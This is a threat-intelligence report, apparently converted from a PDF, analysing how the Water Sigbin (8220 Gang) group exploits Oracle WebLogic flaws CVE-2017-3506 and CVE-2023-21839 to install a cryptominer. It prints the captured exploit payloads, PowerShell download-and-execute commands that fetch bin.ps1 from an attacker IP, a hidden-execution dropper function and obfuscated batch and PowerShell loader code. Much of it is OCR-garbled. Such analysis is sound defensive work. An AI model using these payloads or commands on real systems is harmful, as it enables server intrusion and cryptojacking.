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APT & Targeted Attacks

Water Sigbin (aka the 8220 Gang) exploited Oracle WebLogic vulnerabilities to deploy a
cryptocurrency miner using a PowerShell script. The threat actor also adopted new
techniques to conceal its activities, making attacks harder to defend against.
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Summary

o Water Sigbin exploited the vulnerabilities CVE-2017-3506 and CVE-2023-21839 to
deploy a cryptocurrency miner via a PowerShell script.

e The gang employed obfuscation techniques, such as hexadecimal encoding of URLs
and using HTTP over port 443, allowing for stealthy payload delivery.

o The PowerShell script and the resulting batch file involved complex encoding, using
environment variables to hide malicious code within seemingly benign script
components.

o The group performed fileless execution by using .NET reflection techniques in
PowerShell scripts, which allows the malware code to run solely in memory, avoiding
disk-based detection mechanisms.

o The continuous evolution of threat actor tools, tactics, and procedures (TTPs)
highlights the need for organizations to remain vigilant and adopt various
cybersecurity best practices, like regular patch management, employee training, and
incident response plans

Water Sigbin (aka the 8220 Gang) is a China-based threat actor that has been active since
at least 2017. It focuses on deploying cryptocurrency-mining malware, primarily in cloud-
based environments and Linux servers. The group has been known to integrate
vulnerability exploitation as part of its wide array of TTPs.

In our previous discussion on the the group's tactics, we looked into how it operates using
ever-evolving and complex methods. However, cyberthreats rarely remain stagnant, with
threat actors constantly finding new ways to outsmart defenders. Recently, we’ve observed
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the Water Sigbin using new techniques and methods to hide its activities, making the
group’s attacks more difficult to defend systems against.

CVE-2017-3506 and CVE-2023-21839 exploitation

We found the threat actor exploiting vulnerabilities with Oracle WebLogic server CVE-2017-
3506 (a vulnerability allowing remote OS command execution) and CVE-2023-21839 (an
insecure deserialization vulnerability) to deploy a cryptocurrency miner via a PowerShell
script named bin.ps1 on the victim host. Upon closer examination of the group’s tools,
tactics and procedures (TTPs), we determined the exploitation to be the work of Water
Sigbin, indicating that it is continuously updating its deployment scripts and tools.

We observed the following attack payload for CVE-2017-3506:

<soapenv:Envelope xmlns:soapenv=""http://schemas.xmlsoap.org/soap/envelope/"">
<soapenv:Header> <work:WorkContext xmlns:work=""http://bea.com/2004/06/soap/workarea/"">
<java version=""1.8.0_151"" class=""java.beans.XMLDecoder"">

<void class=""java.lang.ProcessBuilder"">
<array class=""java.lang.String"" length=""3""> <void index = ""0""> <string>cmd.exe</string> </void> <void index = ""1"">
<string>/c</string> </void> <void index = ""2""> <string>powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc |
[cABVAHcAZQByAHMAaABlAGwAbAAgACIAS0BFAFgAKABOAGUAdetAESAYngAGUAYwBOACAATgBlAHQALgBXAGUAYgBDAGwAaOBlAG4AdAApAC4ARABvAHcAbngAGSAYOBkAFMAdAByAGkAbgBnACgAJwBoAHO ]
/AdABwADOALWAVADAAeABiADKAYQBj ADgAMAASADIAOgAOADQAMWAVAGIAaQBUACAACABZADEAIWAPACTAK/string> </void> </array> <void method=""start""/> </void> </java>
</work:WorkContext> </soapenv:Header> <soapenv:Body/></soapenv:Envelope>

Figure 1. The attack payload for CVE-2017-3506
download

The base64-encoded string in the attack payload is the following:

| powershell "IEX(New-Object
Net.WebClient).DownloadString(‘http://0xb9ac8092:443/bin.ps1')"

Meanwhile, the attack payload for CVE-2023-21839 can be seen in Figure 2.

GIOP@xXBEAAdminServer3IDL:weblogic/corba/cos/naming/NamingContextAny: 1.08BEA, )Q[@rebind_any172.26.112.16( O
#(IDL:omg.org/SendingContext/CodeBase: 1,06172.26.112. 16[dBEA(IDL: omg.org/SendingContext/CodeBase: 1.012BEAX6])"p, BEAGGOG [GBEA

testBGTRMI:weblogic. jndi.internal.ForeignOpaqueReference:D237D91CB2FOF68A: 3021527FEDSIBEF16G#1DL : omg. org/CORBA/WStringValue: 1.061dap: //45.15.158.154:1389/Basic
/Command/Base64/c693ZXJzaGVsbCAiSUVYKES Ldy1PYmplY3QgTmVOL d 1YkNsaWVudCkuRG93bmxvYWRTdHIpbmcoJ2h@dHAGLY8x0DUUMTcyL j EyOC4XNDYBNDQzL2Jpbi5SwczEnKSI=

Figure 2. The attack payload for CVE-2023-21839
download

For this exploit, the base64 encoded string in attack payload is:

| powershell "IEX(New-Object
Net.WebClient).DownloadString(‘http://185.172.128.146:443/bin.ps1")"

We found exploitation attempts in both Linux and Windows machines, with the threat actor
deploying shell scripts in the former and a PowerShell script in the latter. For our analysis,
we will refer to the techniques used in the Windows version of the exploitation, which
shows a noteworthy obfuscation technique used by Water Sigbin.
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At the outset of payload delivery during vulnerability exploitation, the threat actor used the
following techniques to evade detection:

Implementation of hexadecimal encoding for URLSs:

The URL used to download and deploy the PowerShell script is depicted in the following
image:

powershell "IEX(New-Object Net.WebClient).DownloadString( '|http://@xb9ac8092:443/bin.ps1')"
Figure 3. Hex encoding of the URL
download

The dotted decimal notation of this URL translates to http://185.172.128.146:443/bin[.Jps 1

Employing HTTP over port 443:

As seen in the previous URL, Water Sigbin uses HTTP on port 443 for stealthy
communication.

The bin.ps1 shell script file consists of two parts:

1. A lengthy base64-encoded string containing the binary code and instructions to
execute it

2. A function responsible for decoding the base64 string, writing the decoded contents
into a file named microsoft_office365.bat in temporary directory, and silently executing
it
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function Convert-Base64ToFileAndExecuteSilently {
param (
[Parameter(Mandatory=$true)]
[string]$Base64String,

[Parameter(Mandatory=$true)]

[string] $FileName

try {
$tempPath = [System.IO.Path]::GetTempPath()

1

$filePath Join-Path -Path $tempPath -ChildPath $FileName
$bytes = [System.Convert]::FromBase64String($Base64String)

[System.I0.File]::WriteAllBytes($filePath, $bytes)

Start-Process -FilePath $filePath -WindowStyle Hidden \

+ Executes process
catch { silently
+

$base64String = "Y21kIC9jICIzZXQgX189XiZyZW@iDQpzZXQgIllscElaSFp3PXN1dFJ4RUdqIFI4
RUdgWjBSeEVHalpHW1J4RUdqd1J4. ...JVVXR1dXbFZa01J4RUdqPSUgfCA1lY1dwT1RHcEg1DQo=" k
$fileName = "microsoft_office365.bat"

Base64-encoded string consisting of the binary code
and other instructions

Convert-Baseb4ToFileAndExecuteSilently —-Base64String $base64String -FileName $fileName
Figure 4. Content of bin.ps1 PowerShell script
download

The base64-encoded content decoded by the Convert-Base64ToFileAndExecuteSilently
function in the bin.ps1 file reveals the core script elements. This decoded content is then
written to the temporary directory under the file name microsoft_office365.bat.

Analysis of microsoft_office365.bat

The microsoft_office365.bat script employs environment variables to obfuscate the original
script code, making it seem complex and confusing. The script commences with the
following code:
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cnd /c "set _ ="&rem"

set "R1pMZHZw=setRXEG] RXEGjZORXEGjZGZRXEG]WRXEGj==RXEGj=1RXEG] &RXEGj& RXEGjSRXEGjtRXEGjartRXEG] RXEGj""RXEGj /RXEGjmRXEGjinRXEG] RXEGj"
set "WmVRVIRj=6SRXEGj eRXEGjxitRxEGj"

set "cFplaFFv=noRXEGjtRXEG] deRxEGjfiRXEGjnedRXEG] ZRXEGjOZGRXEG)Zw=RXEG]=RXEG]

if %cFplaFFv:RXEGj=% (%R1pMZHZW:RXEGj=%%0 SWmVRVIR] :RXEG]=5%)

Figure 5. Initial code of the script “microsoft_office365.bat”
download

While examining the script, we observed that it seems like environment variables are being
set, which seem like unreadable or gibberish data. However, after thorough analysis, it
seems like the threat actors managed to implement a very effective method to hide their
malicious code.

To get the actual code, we need to decode the first “if” condition:

if %cFplaFFv:RXEGj=% (%R1pMZHZw:RXEGj=%%0 %WmVRV1Rj :RxEGj=%)

Figure 6. If condition in “microsoft_office365.bat”
download

“yn

Next, we need to replace RxEGj with empty (“”) in every part of the code. After doing this,
the first part of the script will look like the following:

cmd /c ""'set __=&rem"
set "RIlpMZHZw=set Z0ZGZw===1 && start "" /min "
set "WmVRV1IRj=&& exit"
set "cFplaFFv=not defined Z0ZGZw=="
if %scFplaFFv:=% (%R1pMZHZw=%0 %WmVRV1Rj=%)
This if condition translates to the below condition
if not defined ZOZGZw==1 && start "" /min ( && exit)

Figure 7. Decoded first part of the script
download

The initial command cmd /c "set __=&rem”runs a new command prompt and sets the

“ 7 environment variable to an empty string and then executes the rem (records comments
in a batch file) command, which does nothing. Overall, the script section appears to be
designed to start a new command prompt window in minimized mode and then exit the
current script.

The next two lengthy lines of base64-encoded content contains the actual binary code,
requiring processing before it can be utilized. The attacker employs PowerShell methods for
this processing.
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Figure 8. Encoded malicious binary code
download

The next section contains obfuscated PowerShell code, which does all the processing on
the base64-encoded string for further usage.

set "'SEZNAOXC=WiRXEG] ndORXEG jwSRXEG] POWRXEGj erRXEG] SheRXEG] IRXEG] L\VRXEG] IRXEG] . BRXEG | \pORXEG]WRXEG] erRXEG] ShRXEG] e LIRXEG] . RXEG] eRXEG] xeRXEG] "

set bpOTGPH=C: \Windows\Systen32\RSEZNA@xC: RXEG]=%

set "UNFWMILVZ=; iRXEG] exRXEG)

(RXEG] [RXEG] TeRXEG] XtRXEG] . ERXEG] NRXEG] COURXEG] 1NRXEG) Q) RXEG] : :RXEGJUTRXEG] FBRXEG] . GRRXEG] tSERXEG] rRXEG] ingRXEG] ( [SRXEG]ySRXEG] tRXEG] eRXEG]m. RXEG CRXEG] jeRXEG] tRXEG] ] :RXEG] : FRXEG] FORXEG jnBaRXEG]
5e6RXEG] 4RXEGSRXEG] rARXEGj NRXEG] GRXEG] ( 'RXEG] CRXEG | GIRXEG] 3ZRXEG j XIRXEG] ZaGRYEG] VSbRXEG] CARXEG] tdRXEG] YBRYEGj ORXEG aWRXEG | RRXEG KZWRXEG] 47ZRXEG] nVURXEG] Y3RRXEG] pRXEG] b2RXEG] AGRXEG | ZHRXEG JNLRXEG] bWRXEG
§90IRXEG] ERXEG] VGRXEG jREXRXEG] nKXRXEG] SKRXEG] WFRXEG] pwaRXEG GBRXEG] OWRXEG ] INRXEG] SRXEG] CRXEG] 3RXEGIRRXEG] 1DRXEG | SRXEG] STRXEG] ZRXEG] WN1RXEG] CRXEG] mRXEG] BRXEG] eS5RXEG] DCRXEG] NRXEG] LWdRXEG] GIRXEG | nRXEG] cR
XEG]MFWRXEG] aHRXEG] KURXEG | QWVRXEG] ZXRXEG ] TORXEG] 6RXEG) Q3RXEG] J LYRXEG] XRXEGRIRXEG]KRXEG | CKRXEG] 7RXEG] JFRXEG]haRXEG] CGRXEG] NRXEG ] VLRXEG] KRXEG] TRXEG ] VZGRXEG JUIRKEGWINRXEG] SCRXEG] 3RXEG] RIRXEG] BSRXEG] STRXE
6 ZRXEG] WNRXEG] 1RXEG] (mLRXEG] BERXEGSSORXEG] CRXEG | IRXEG] RXEG] WRXEG] dRXEG § GRXEG IRXEG] nCTRXEG] FRXEG] aHRXEG] KURXEG] Q2RXEG ] LWRXEG] aRXEG] GRXEG] VRXEG |y TWRXEG § 9RXEG] KRXEG] ZVRXEG] 86 0RXEG] KRXEGINCRXEG] QZRXEG]
SRXEG] KNRXEGj FpRXEG jWaRXEG] GBRXEG j URXEG jURXEG GRXEG j FKZRKEG 6 LRXEG jUZRXEG] 21RXEG] bRXEG] U3 LRXEG] 2dRXEG GVRXEG] tRXEG jL IRXEG]NLYRXEG] 3VRXEG] yaXRXEG] RSLRXEG] KRXEG]NRXEG yeRXEG ) XBORXEG | b2dRXEG] yRXEG] YXBRXEGj
06RXEG] SSQRXEG] YWRXEG]RKaRXEG] WSRXEG] nRXEG] TWORKEG] KRXEG] ZVRXEG] 060RXEG] BRXEG LQ1RXEG] M3RXEG] ORXEG] yRRXEG] YRXEG | WRXEG] nBRXEG] 0byRXEG] SRXEG] LRXEG § ZRXEG] XkORXEGIWRXEG INRXEG] SRXEG] CRXEG | RIRXEG] bRXEG] 5D
RXEG] b2RXEG] S2RXEG] ZXRXEG ] JORXEG] XTRXEG j ORXEG] GRXEG] RnRXEG | JVRXEG] bRXEG] UINRXEG] C2URXEG] 2RXEGNRXEG] FNRXEG] BRXEG | CRRXEG] |URXEG] ZyRXEG] gnRXEG]NRXEG ] kORXEGHAGRXEG 4wRXEG] TKRXEG B3RXEG] dKRXEG] FRXEG] OURXEG
JGSRXEG] OUURXEG] OrRXEG SHRXEG]NAaRXEGj TRXEG j LKRXEG) dVRRXEG SRXEG aRXEG] VRXEGj QRXEG XdRXEG] IRXEG] k1RXEG TRXEG] EZtRXEG]SURXEG] SHVRXEG] IRXEG] BORXEG] TORXEG] nKTRXEG SkRXEG] WF pRXEG] waGRXEG BURXEG] SVYRXEG) W1
RXEGNSRXEG] C3RXEG JRURKEG BRXEG] SSRXEG] DRXEG]b25RXEG] 2ZRXEG] XIRXEG | BRXEGj XTRXEG] 0BRXEG] RnRXEG JVRXEG] bUIRXEG] hCRXEG] 2RXEG] U2RXEG JNBRXEG j cLRXEG juZyRXEG GRXEG]  FRXEG BCRRXEG UZRXEG) oRXEG] bXR
XEG] FRXEG] ONRXEGWVRXEG] PNRXEG jDJURXEG] QMRXEG] VRXEG] 2eRXEG | nRRXEG] LORXEG] ZORXEG 9RXEG] JyKRXEG] 7JHRXEG] JRXEGEVLRXEG] ZSRXEG] PSRXEG jRRXEG] YWRXEG | nBRXEG] ORXEGjbyRXEG] SDRXEG] CRXEG ] nRXEG] VhRXEG] dGVRXEG] EZWRX
EG]NYRXEG] eXRXEG] BODRXEG] 3IRXEG] ORXEG jKTSRXEG] KCRXEGj GISRXEG] ZWRXEG ORXEG 9JRXEG] HIRXEG EVRXEG] LZSRXEG] LRXEG] RRXEG] yRXEG] YRXEG] WS ZRXEG] ZnORXEG] ybRXEG UZpRXEG] bFRXEG] SRXEG § UmXRXEG] VY2RXEG SORXEG] JEVRXE
jGRRXEG] EXRXEG j NLRXEG] DRXEG] ASRXEG] JERXEG VRXEG jGRRXEG EXNRXEG LKRXEG] X IRXEG] bRXEG ] dRXEG] 0aCRXEG]K7RXEG] JRXEG JHIRXEG] EVRXEG] 1RXEG] ZSRXEG LKRXEG jRpcRXEG] JBVRKEG] c2RXEG] UOKRXEG TSRXEG | KNRXEG FRXEG] pRXEG
§WRXEG] aGBRXEG] URRXEG] GRXEG j LZRXEG] CGRXEG] 92RXEG] ZRXEG] SRXEG] GRXEG jpORXEG] yRRXEG] WwbRXEG] 2 LRXEG] bTRXEG] tIRXEG § ZVRXEG URXEG] YRXEG] 3RPRXEG] b24RXEG g TRXEG] KRXEG]NORXEGjRRKRXEG § 0JERXEG j VRXEG j GRXEG RERXEG] X
NRXEGKRXEG] XRXEG s KVRXEG] LVRXEG] XRXEG]VRXEG ] FRXEG]MRXEG] STRXEG] nVRXEG] 3LRXEG] UIRXEG] 1RXEG] aRXEG nRXEG]VRXEG] jRXEGj dCBRXEG TeRXEGjXNRXEG] 0ZRYEG]WORXEG] URXEG] SRXEG] UBLRXEG] TRXEG] WVRXEG tRXEG] bIRXEG] JRXEG
§5RXEG] URKEG] 3RYRXEG] ZWRXEG  FKRXEG] CWRXEG j KRXEGRURXEG] ZERXEG] TGRXEG] CPRXEG | ORXEG yRXEG] R6RXEG] CTNRXEG] ZSRXEG § 210RXEG] ZXRXEG] CtRXEG] T2RXEG § JGZRXEG JWNORXEG TRXEG] FNRXEG ] 5C3RXEG] RIRXEG] bSRXEG] SIRXEG TyRx
G SRXEGNRXEG] ZRXEG] WRXEG] 1VRXEG] cn|RXEG] THHRXEG] I RXEG] YWRXEGj O7RXEG] JRXEG] FVBRXEG] SURXEG }NPRXEGPRXEG] USRXEG  LdRXEG ] y 1RXEG] PRXEG] YRXEG mp LRXEG  Y3RXEG QRXEG] URKEG] 31ZRXEG] dGVRXEG] tLKRXEG] PRXEG] LKNRX
6] VDRXEG] XRXEG BRXEG] YRXEG ZRXEG j XNRXEG] ZaRXEGIWORXEG] UL KRXEG] daaRXEG] XBRXEG] THRXEG JHRXEG] J \RXEG] YWRXEG] B0IRXEG] FRXEG] ZVRXEG]VRXEG] 1RXEG] RTRXEG] LRXEG] FERXEG] JTRXEG] ySRXEG] Db2RXEG] 1wRXEG | CMRXEG] VRXEG] ZR
XEG] C21RXEG] VRXEG] 15RXEG] Db2RXEG] 1WCRXEG BRXEG]VZRXEG] CRXEG] 2RXEG] LVDRXEG] K1RXEG] VRXEG | ZGRXEG] VARXEG] O pRXEG] EZRXEGWNRXEG] VDRXEG j XByRXEG] ZXRXEG JNZRXEG]KTSRXEG] KVXRXEGRIRXEG QORXEG] BRYEG] URKEG] Q29RXEG
jWeRXEG] VRRXEG] VKCRXEG jRERXEG] CNRXEG § 2SRXEG] yKRXEG] 7IRXEG] FRXEG] VASRXEG] UNRXEG] PRXEG] LRXEG ] KRXEG] RRXEG] pCRYEG 3BVRXEG] c2RXEG]UORXEG KRXEG | TSRXEG] KRXEG] VRXEG] 1VRXEG XRXEG]VFRXEG MRXEG] URGRYEG] LZRXEG] cRx

EG] G9ZRXEG ZRXEG] SRXEG ] gpORXEG yRXEG] RERXEGj CRXEG] NRXEG] 25yRXEG ] SERXEG] aXRXEG JNWDRXEG] JNUKRXEG ] CRXEG] k7JRXEG] §YRXEG] Y3RXEGNLLRXEG] 1RVRXEG] QXJRXEG] y YRXEG] XKRXEG] oKRXEG] TtRXEG] 9IHRXEG] hYBRXEG
jFRXEGj FWRXEGj PRXEG j VRXEG t TRXEG] eXNRXEGj 0ZRXEG]WORXEG] uSURXEG] BRXEG] URXEG] RRXEGjmLRXEGj sZVRXEG] B6RXEG] ORXEG] LIRXEG] LYRXEGWRRXEG jMRXEG] aWRXEG] 5 LcRXEGj yhRXEGj bQ2RXEG] ucRXEG] 29RXEG] SRXEG] ZVORXEG] 6RXEG] 0
ARXEG]RpdRXEG] GRXEG ] X IRXEG]KTSRXEG] kYRXEG] KRXEG] SRXEG pRXEG WWRXEG jURXEG] 9TRXEG] KRXEG  KRXEG] GRXEG KRXEG GRXEG] VRXEG j SRXEG ] 2RXEG 10RXEG] TRXEG ChRXEG] bQRXEG | 20URXEG] GMRXEG j VyRXEG] dFORXEG 60

RXEG] kZyRXEG] b2RXEG ] 1CRXEG] YRXEG) XRXEGNRXEG] 1RXEG]Nj RXEGjRTARXEG] HIRXEG] pbmRXEG] CORXEG] WRXEG INRXEG SRXEG] C3RXEG] RURXEG] bSRXEG SRXEGjMaRKEG) WSXRXEG] LKRXEG] VUIRKEG] W1RXEG] | CRRXEG] FARXEG] bGRXEG] VARXEGjOR
XEG] jRXEG j pFRXEG] bRXEG] GRXEG VRXEG  tZWRXEGj 5BRXEG] OXRXEG] Q0JRXEG] HNRXEG] YbRXEG] FFRXEGLCRXEGAIRXEG jKSRXEG] STRXEG] WRXEG] JRXEG ZRXEGj dHRXEG] JRXEG] pRXEG] bRXEG]MCRXEGj ORXEGJMiKRXEG] pKRXEG] SRXEG] KTRXEG IR
XEG] FARXEGaRXEG] XALRXEG] PUSRXEG] DAERXEG] ZRXEG] pICRXEG] h LYRXEG] 0ttRXEG] aCARXEG] OWRXEG BNRXEG vBRXEG nZRXEG] LRXEG] CRXEG] nRRXEG JORKEG] pRXEG] GRYEG] CMORXEG] tQRXEG]WRXEG] F2ZRXEG TRXEG YORXEG] URXEG] 3RYRXEG
J8RXEG]WSRXEG] nKFRXEG] tRXEG] TRXEG] eXRXEGINGRXEG ZRXEG JWORXEG] UTRXEG GLURXEG cSSRXEG] FRXEG]bnRXEG VRXEG] tRXEG] ZXRXEG] JRXEG] hYRXEG] mXRXEG] IXTRXEG ORXEG] 6RXEG] RHRXEG] XRXEG ] LWRXEG] VUdRXEG | EFRXEG] OKRXEG] CRx
EG]RRXEG] ANGRXEG] XRCRXEG] CWRXEG j GNRXEG 1KURKEG jUSVRXEG] 1 CRXEG] 3RRXEG] yRXEG] aWSRXEG ] nRXEG] KRXEG jDRXEG] IpKRXEG] SKRXEG] pORKEG] 1t TRXEG] eXRXEG JNORXEG ZWRXEG] BRXEG] URXEG ] UNRXEGVnRXEG j bEYRXEG j dGRXEG] LVDRXEG]
15RXEGjBRYEG] C3RXEG N IRXEG BNRXEG] I SRXEG ] eVRXEG]@BRXEG] OKXRXEG]VRXEG] YWRXEG QRXEG ORXEG jW2RXEG | JRXEG] SGGRXEG] VBRXEG] KRXEG ] VRXEG { BRXEG] KRXEG] V2RXEG ] pRXEG] pRYEG] dRXEG] OSRXEG] pLKRXEG | VRXEG] URKEG] dRXEG HISR
XEG{URKEG j GARXEG] PRXEG] bnRXEG] QURXEG] SRXEG jHS2RXEG] bRYEG] 2t RXEG] LKRXEG] CRRXEG] URXEGWRXEG] XRXEG] SLCRXEG] RUGRXEG] WRXEG ] xSRXEGKRXEG] TERXEG] bURKEG] RXEG] 1ZRXEG] dGVRXEG tLLRXEG] JRXEG] 1ZRYEG] mx IRXEG] YIRXEG
JRPDRXEG] 24RXEG UOXRXEGNRYEG] ZRXEG] ZW1RXEG] 1bRXEG]HRXEG] \RXEG]GRXEG] 0RXEG] pHRXEG] 2FKRXEG] KFRXEG] tRXEG] i eRXEG jXRRXEG] IWRXEG] 11RXEG] JGRXEG] JORXEG]aVRXEG] LIRXEGKSSRXEG] FORXEG] nRRXEG yeVRXEG] BVRXEG] aRx
G WSRXEG] ORXEG | LK 1RXEG] URXEG] GMRXEG] 9rRXEG] ZSRKEG] GRXEG] j §SbCRXEG] JBRXEG] n'VRXEG] SHCRXEG KRXEG] 7* RXEG] )RXEG] ) )RXEG] "

set "TFZKC3RT=$hRXEG] 05 tRXEG] . URXEG]T . RXEG] RRXEG awRXEG UIRKEG] .MRXEG] indRXEG] oWTRXEG] RXEG] t IRXEG] eRXEG{=RKEG]"

echo ¥TFZKCIRT:RXEG]=%"%~0 " SUNFWWLVZ:RXEG] =% | SbWpOTGpHS

Figure 9. Obfuscated PowerShell code
download

Similarly, if we deobfuscate the remaining section by replacing RxEGj with an empty string
("), we will obtain the actual PowerShell code:
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set "SEZNd@xC=WindowsPowerShell\v1.®@\powershell.exe"

set bWpOTGpH=C:\Windows\System32\WindowsPowerShell\v1l.®\powershell.exe

set "UWFWW1VZ=;iex

([Text.Encoding]: :UTF8.GetString( [System.Convert] : : FromBase64String( ' cG93ZXJzaGVsbCAtdyBoaWRkZW47ZnVuY3Rpb24gZwWNLbWgoJEVGREXNKXskWFpwaG8IWINSC3R1bS5TZWN1cmloeS
5Dcn1wdGIncmPwaHkuQWVzXTo6Q3 1YXRIKCk7IFhacGhvLk1vZGUIWINSc3R1bSSTZWN1cm10eS50cn lwdG3ncmFwaHkuQ2 lwaGVyTWIkZVA60KNCQzs kWFpwaGBUUGFkZGluZz1bU31zdGVEL INLY3VyaXR5L
kNyeXB@b2dyYXBoeS5QYWRkaWSnTWIkZVe601BLQIM30yRYWnBoby5LZXKIWINSC3R1bS5Db252ZXI0XTo6RNIvbUIhc2U2NFNOCcm LuZygnNKkIHAGAWTk83dkFoUG50UUBrSWNdamlkdVRsaVQxd1k1TEZtSUSH
V1BoQTOnKTskWFpwaGBuSVYIWINSc3R1bS50b252ZXI0XTo6RNIvbUIhc2UZNFNOcm luZygnWFBCRUZobXFoNWVPNDIUQmVzenRLdz@9Jyk7IHIEV1ZSPSRYWnBoby5DcmVhdGVEZWNyeXBOb3IoKTskcGISZWR
9JHIEVIZSL1RyYW5zZm9ybUZpbmF sQmxvY2s0JEVGRExnLDAs JEVGRExnLkx 1bmd@aCk7IHIEV1ZSLkRpc3Bvc2UoKTskWFpwaGBuRG12cG9zZSgpOyRwb2x 1bTt9ZnVuY3Rpb24gTkNoRmkoJEVGREXnKXskV1
VXVFMOTmV3LU9iamVjdCBTeXNOZWOuSUBuTWVtb3J5U3RyZWF tKCwkRUZETGCpOYRECmNZSz10ZXctT2IqZWNOIFNSC3R1bS5ITySNZW1ven LTdHI LYW 7IFV@SUNPPUS 1dy1PYmplY3Qgu31zdGVtLK1PLkNvb
XByZXNzaW9uLkdaaXBTdHI 1YW@oJFZVVIRTLFtITy5Db21wemVzc21vbiSDb21wemVzc21vbk1vZGVd0j pEZWNVbXBy ZXNzKTskVXRIQ08uQ29weVRVKCR6cmNzSyk7IFVOSUNPLKRpc3Bvc2UoKTskVIVXVFMu
RG1zcG9zZSgp0yREcmNzSy5EaXNwb3NTKCk7 JHpyY3NLLIRvQXJyYXkoKTt9IHhYbFFwPVtTeXNOZWouSUBuRm1sZVe601J 1YWRMaWS 1cyhbQ29uc295ZVa60 IRpdGx LKTsKYKSpWWUITkNoRmkgKGVj S210ICh
bQ29udmVydFA60kZyb21CYXNINjRTdHIpbmcoWIN5c3R1bS5MaW5xLkVudWl LemFibGVdOj pFbGVtZW58QXQoJHhYbFFwLCAIKS5TdWIzdHIpbmcoMikpKSk7JFdgaXdLPUSDaEZpIChlY@ttaCAoWaNvbnZlcn
Rd0j pGem9ItQmFzZTYBU3RyaWSnKFt TeXNOZWOuUTG lucS5FbnVtZXIhYmx 1XTob6RWx LbWVudEFBKCRAWGXRcCwgNikuU3Vic3RyaWsnKDIpKSkp01tTeXNOZWAuUmVmbGYjdGlvbi5Bc3N1bWl seVe60kxvYWQowW
2J5dGVbXVekV2ppd@spLkVudHI5UGIpbnQuSW52b2t LKCRudWxsLCRudWxsKTtbU31zdGVL1I 1Zmx 1Y3Rpb24uQXNzZwW1ibH1d0j pMb2FkKFt ieXR1W11d1GI0aV11KSS5FbnRyeVBvaW50Lk ludm9rZSgkbnVs
bCwkbnVsbCk7*)))"

set "TFZkc3RI=$host.UI.RawUI.WindowTitle="

echo $host.UI.RawUI.WindowTitle=;iex

([Text.Encoding] : :UTF8.GetString( [System.Convert] : : FromBase64String( ' cG93ZXJzaGVsbCAtdyBoaWRkZW47ZnVuY3Rpb24gZWNLbWgoJEVGREXnKXs KWFpwaGBIWINSc3R1bS5TZWN1cml0eS
5DcnlwdGIncmPwaHkuQWVzXTo6Q3] LYXRLKCk7JFhacGhvLk1vZGUIWINSc3R1bS5TZWN1cm18eS50cn lwdGIncmFwaHkuQ2 lwaGVy TWIkZVAEOKNCQzs kWFpwaGBuUGFKZGluZz1bU31zdGVEL INLY3VyaXR5L
kNyeXBob2dyYXBoeS5QYWRkaWSnTWOkZV@601BLQIM30yRYWnBoby5LZXkIWINSc3R1bS5Db252ZXI0XTo6RnIvbUIhc2U2NFNOcmluZygnNkIHAGAwTk83dkFoUG5oUU@ rSWN4amlkdVRsaVQxd1k1TEZtSUSH
V1BoQT@nKT skWFpwaG8uSVYIWINS c3R1bS5Db2522X10XTo6RnIvbUIhc2U2NFNBcmluZygnWFBCRUZobXFoNWVPNDIUQmVzenRLdz@9Jyk7JHIEVIZSPSRYWnBoby5DcmVhdGVEZWNyeXBOb3IoKTskcGIsZwe
9JHIEVLZSL1RyYW5zZm9ybUZpbmF sQmxvY2s0JEVGRExnLDAs JEVGRExnLkx 1bmd@aCk7JHIEV1IZSLkRpc3Bvc2UoKTskWFpwaGBURG1zcG9zZSgp0yRwb2x 1bTt9ZnVuY3Rpb24gTkNoRmkoJEVGREXNKXskV1
VXVFMITmV3LU9iamVjdCBTeXNOZWOuSUBUTWVtb3J5U3RyZWF tKCwkRUZETGepOyR6cmNZzSz10ZXctT2IqZWNOIFNSc3R1bS5ITy5NZW1ven LTdHI 1YWR7IFVBSUNPPUS 1dy1PYmp1lY3QgU31zdGVtLK1PLkNvD
XByZXNzaW9uLkdaaXBTdHI 1YW8oJFZVVIRTLFtJTy5Db21wemVzc2lvbi5Db21wemVzc2 lvbk1vZGVd0j pEZWNVbXBY ZXNzKTskVXRIQB8uQ29weVRVKCR6cmNzSyk7IFVBSUNPLKRpc3Bvc2UoKTskV IVXVFMu
RG1zcG9zZSgp0yREcmNzSy5EaXNwb3N1KCk7JHpyY3NLLLRvQXJyYXkoKT t9JHhYbFFwPVtTeXNOZWeuSUBuRm1sZVe601J LYWRMaWS LcyhbQ29uc29sZV@60 LRpdGx LKTskYkSpWWUITkNoRmkgKGVjS210ICh
bQ29udmVydF@60kZyb21CYXNINjRTdHIpbmcoWINSc3R1bS5MaW5xLkVudWl lemFibGVdOj pFbGVtZW500XQoJHhYbFFwLCA1KS5TdWIzdHI pbmcoMikpKSk7JFdgaXdLPUSDaEZpICh1Y@ttaCAoWeNvbnZlcn
Rd0j pGemItQmFzZTYOU3RyaWSnKFt TeXNOZWOuUTG lucS5FbnVtZXIhYmx 1XTo6RWx LbWVudEF@KCRAWGXRcCwgNikuU3Vic3RyaWSnKDIpKSkp01tTeXNOZWOuUmVmbGYjdGlvbiSBc3N bW seVe60kxyYWQoW
215dGVbXVekV2ppd@spLkVudHI5UG9pbnQuSW52b2t IKCRudWx sLCRudWxsKTtbU31zdGVtL 1] 1Zmx 1Y3Rpb24uQXNzZW1ibH1d0jpMb2FkKFt ieXR1W11d16I0aV11KS5FbnRyeVBvaW58LkludmIrZSgkbnVs
bCwkbnVsbCk7')))" | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Figure 10. Decoded PowerShell code
download

This PowerShell command performs the following actions:

1. Decodes the base64 string ([Convert]::FromBase64String)

2. Performs decryption ([System.Security.Cryptography.Aes]) of the very long string

3. Decompresses the decrypted string ([10.Compression.CompressionMode])

4. Executes the malware code using DotNet in memory reflection
([System.Reflection.Assembly])

By leveraging "System.Reflection.Assembly," the attacker orchestrates a fileless execution
strategy, ensuring that all operations occur solely in memory.

Conclusion

The Water Sigbin's activities involving the exploitation of CVE-2017-3506 and CVE-2023-
21839 underscore the adaptability of modern threat actors. The use of sophisticated
obfuscation techniques such as hexadecimal encoding of URLs, complex encoding within
PowerShell and batch scripts, use of environment variables, and layered obfuscation to
conceal malicious code within seemingly benign scripts demonstrates that Water Sigbin is a
threat actor that can capably hide its tracks, making detection and prevention more
challenging for security teams.

These evolving tactics signify a need for constant vigilance and proactive countermeasures
to safeguard systems and networks against sophisticated threats.
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Recommendations

To effectively protect systems and networks against vulnerability exploitation such as those
carried out by the Water Sigbin, organizations can implement a variety of cybersecurity best
practices and proactive defense measures. Here are some recommendations:

1. Patch management. Prioritize regular updates and patch management processes to
ensure that all systems are running the latest software versions. Quickly apply
security patches for known vulnerabilities, especially those with publicly available
exploits.

